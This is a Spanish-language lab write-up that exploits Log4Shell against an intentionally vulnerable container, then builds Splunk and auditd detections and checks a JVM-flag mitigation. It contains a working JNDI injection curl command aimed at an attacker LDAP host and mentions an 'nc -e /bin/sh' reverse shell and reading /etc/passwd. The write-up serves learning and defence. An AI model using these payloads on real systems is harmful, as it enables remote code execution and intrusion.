
Proyecto práctico que demuestra la explotación de Log4Shell, ingeniería de detección con Splunk y auditd, y remediación validada en un entorno contenerizado.
Un proyecto práctico de seguridad ofensiva y defensiva que simula el ciclo de vida completo de la vulnerabilidad Log4Shell: explotación desde una VM controlada por el atacante, ingeniería de detección en Splunk y remediación validada.
La mayoría de los proyectos de portafolio en este ámbito cubren fuerza bruta SSH. Quería algo que demostrara un conjunto de habilidades más completo: explotar un CVE real de alto impacto de principio a fin, y luego pasar al lado defensivo para detectarlo y remediarlo, el mismo ciclo de vida que un ingeniero de seguridad o de detección recorre en la práctica.
illshot (192.168.1.85), ejecutando Splunk de forma nativa para la ingesta de registros y la detecciónghcr.io/christophetd/log4shell-vulnerable-app (Spring Boot, Log4j 2.14.1, Java 8u181) ejecutándose en un contenedor Docker, con los registros canalizados al syslog de Mint mediante --log-driver=syslog1. Configurar el listener y la herramienta de explotación. Inicié un listener netcat en Kali para capturar la conexión reversa del shell, y luego lancé una herramienta JNDI-Injection-Exploit compilada por mí mismo (compilada desde el código fuente, ya que las versiones precompiladas no estaban disponibles) para servir el payload LDAP malicioso.

2. Enviar el exploit. Entregué el payload mediante una cabecera HTTP manipulada que contenía una cadena de búsqueda JNDI, dirigida a la aplicación vulnerable en el puerto 8080.
curl 192.168.1.85:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.86:1389/<payload-id>}'

3. Capturar el shell. La aplicación vulnerable analizó la cabecera, activó la búsqueda JNDI y se comunicó con mi máquina Kali para obtener y ejecutar la clase maliciosa, lo que resultó en un shell reverso ejecutándose como root dentro del contenedor.

Reconocimiento posterior a la explotación (como haría un atacante real): confirmé el acceso root, revisé las variables de entorno (limpias, sin secretos filtrados), inspeccioné el jar de la aplicación y revisé /etc/passwd, que reveló un conjunto de cuentas de servicio no utilizadas de la imagen base Alpine, un buen ejemplo de un artefacto de reconocimiento engañoso que no refleja la superficie de ataque real.
Splunk, que ingiere el syslog de Mint, capturó la cadena de explotación completa: la solicitud inicial de búsqueda JNDI, el seguimiento de pila resultante de NamingException y ClassCastException, y los comandos sudo docker exec asociados utilizados para interactuar con el contenedor a nivel de host.

El reconocimiento también era visible antes de la explotación: los registros del firewall UFW capturaron el tráfico del escaneo Nmap desde Kali contra el objetivo.

Un hallazgo técnico clave de este proyecto: un shell reverso crudo nc -e /bin/sh nunca se autentica a través de PAM, por lo que no genera ninguna entrada en auth.log ni ninguna sesión de inicio de sesión. Por sí solo, esto haría que este tipo de shell fuera invisible para el registro estándar basado en inicios de sesión.
Sin embargo, los contenedores Docker comparten el kernel del host en lugar de ejecutar kernels virtualizados completamente aislados. Esto significa que cada execve (ejecución de proceso) dentro del contenedor sigue siendo visible para el subsistema de auditoría del host. Configuré auditd en Mint para vigilar las llamadas al sistema execve en todo el sistema, etiqueté la regla (container_exec) y alimenté /var/log/audit/audit.log en Splunk como una nueva entrada.

Al re-activar el exploit y ejecutar comandos posteriores a la explotación (whoami, cat /etc/passwd, ls /app, env) se confirmó la teoría: auditd capturó cada comando, incluida la propia invocación del shell reverso nc, con la IP y el puerto del atacante directamente visibles en los argumentos registrados.

La actividad posterior a la explotación más amplia también era totalmente visible, ejecutándose bajo /bin/busybox (el shell mínimo del contenedor implementa la mayoría de las herramientas Unix como enlaces simbólicos a un único binario BusyBox, por lo que comm muestra busybox mientras que exe sigue resolviendo la ruta completa):

Un detalle adicional que vale la pena señalar: cada evento capturado mostraba auid=4294967295 (sin establecer/sin sesión de inicio de sesión) junto con uid=0 (root). Esa combinación es en sí misma una fuerte evidencia de un shell no autenticado: un proceso que se ejecuta con privilegios completos de root pero sin ningún ID de inicio de sesión de auditoría, exactamente lo que cabría esperar de un shell que eludió por completo la autenticación normal.
Consultas de detección clave utilizadas:
index=main *jndi*
index=* sourcetype=linux_audit key=container_exec exe=/bin/busybox
| table _time, exe, comm, pid, ppid, uid
| sort _time
Apliqué la mitigación intermedia oficial publicada por Apache y CISA antes de las versiones parcheadas de Log4j: deshabilitar las búsquedas de mensajes JNDI mediante una propiedad del sistema JVM.
docker run -d --name vuln-log4j --log-driver=syslog --log-opt tag="vuln-log4j" \
-p 8080:8080 \
-e JAVA_TOOL_OPTIONS="-Dlog4j2.formatMsgNoLookups=true" \
ghcr.io/christophetd/log4shell-vulnerable-app
Reintentar exactamente la misma cadena de explotación después de la remediación confirmó la corrección: la solicitud aún llegaba y se registraba, pero la búsqueda JNDI nunca se evaluó: sin callback, sin seguimiento de pila, sin shell.

Esta comparación es la evidencia más clara del proyecto: el ataque original generó una cadena de explotación completa con más de 136 eventos de registro relacionados y un callback exitoso. Después de la remediación, el ataque idéntico genera una única línea de registro benigna sin ninguna actividad de búsqueda posterior.
Vale la pena señalar para la defensa en profundidad: el intento de explotación permaneció visible en los registros incluso después de la remediación. El valor de la detección no desaparece una vez que una vulnerabilidad está parcheada: un sistema parcheado que luego se configura incorrectamente, o un payload variante, seguiría siendo detectado por las mismas consultas de detección construidas aquí.